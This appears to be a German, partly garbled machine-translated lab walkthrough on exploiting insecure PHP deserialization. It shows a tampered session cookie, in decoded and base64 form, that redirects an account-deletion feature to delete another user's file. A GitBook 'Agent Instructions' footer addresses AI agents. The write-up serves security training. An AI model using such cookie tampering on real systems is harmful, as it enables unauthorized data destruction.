> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/deserialization/operation-via-application-functionalities.md).

# Anwendungsfunktionalität ausnutzen

### Nutzung von Anwendungsfunktionen zum Ausnutzen unsicherer Deserialisierung

Dieses Labor verwendet einen Sitzungsmechanismus, der auf **Serialisierung**. / Eine Anwendungsfunktion ruft eine **gefährliche Methode** aus Daten aufgerufen, die in einem vom Benutzer kontrollierten serialisierten Objekt enthalten sind.

Ändern Sie das serialisierte Objekt im Sitzungscookie, um zu bewirken, dass die **`morale.txt`** Datei aus dem persönlichen Verzeichnis von **Carlos**.

**Verfügbare Konten**

* Hauptbenutzerkonto: `wiener:peter`
* Notfallkonto: `gregg:rosebud`

<figure><img src="/files/79f078668d6423fc11a0b0a5ccfb0a83d0f2543f" alt=""><figcaption></figcaption></figure>

**Analyse der Sitzungscookies**

Nach der Authentifizierung wird die Sitzung in einem Cookie gespeichert, das ein serialisiertes PHP-Objekt vom Typ enthält `Benutzer`.

**Wiener-Cookie (nach dem Dekodieren)**:

{% code overflow="wrap" %}

```json
O:4:"User":3:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"ftqcpwp5pletd4pz6qoblbohxt2by9zk";s:11:"avatar_link";s:19:"users/wiener/avatar";}
```

{% endcode %}

**Gregg-Cookie (nach dem Dekodieren)**:

{% code overflow="wrap" %}

```json
O:4:"User":3:{s:8:"username";s:5:"gregg";s:12:"access_token";s:32:"xwtc1qpfy2h62e8xeokonwug6zpf6fxq";s:11:"avatar_link";s:18:"users/gregg/avatar";}
```

{% endcode %}

Es fällt auf, dass das **`avatar_link`** Attribut von der Anwendung bei bestimmten Aktionen verwendet wird.

**Ausführbare Funktionalität**

Wenn der Benutzer **Konto löschen**anklickt, wird eine Anfrage an gesendet:

```http
/my-account/delete
```

Diese Funktion verarbeitet den Wert von `avatar_link` und löst eine Operation an der Datei aus, auf die dieses Feld verweist, ohne ausreichende Validierung.

{% code overflow="wrap" %}

```json
O:4:"User":3:{s:8:"username";s:5:"gregg";s:12:"access_token";s:32:"xwtc1qpfy2h62e8xeokonwug6zpf6fxq";s:11:"avatar_link";s:23:"/home/carlos/morale.txt";}
```

{% endcode %}

**Ausnutzung**

Die Idee ist, **den Wert von `avatar_link`** durch einen beliebigen Pfad zu ersetzen, der zur zu löschenden Datei führt.

**Geänderter serialisierter Zweck**:

```
Tzo0OiJVc2VyIjozOntzOjg6InVzZXJuYW1lIjtzOjU6ImdyZWdnIjtzOjEyOiJhY2Nlc3NfdG9rZW4iO3M6MzI6Inh3dGMxcXBmeTJoNjJlOHhlb2tvbnd1ZzZ6cGY2ZnhxIjtzOjExOiJhdmF0YXJfbGluayI7czoyMzoiL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO30=
```

Nachdem die Anfrage an `/my-account/delete`gesendet wurde, antwortet der Server:

<figure><img src="/files/f9a602cde2a14f310e710424de61d37edbefe324" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/deserialization/operation-via-application-functionalities.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
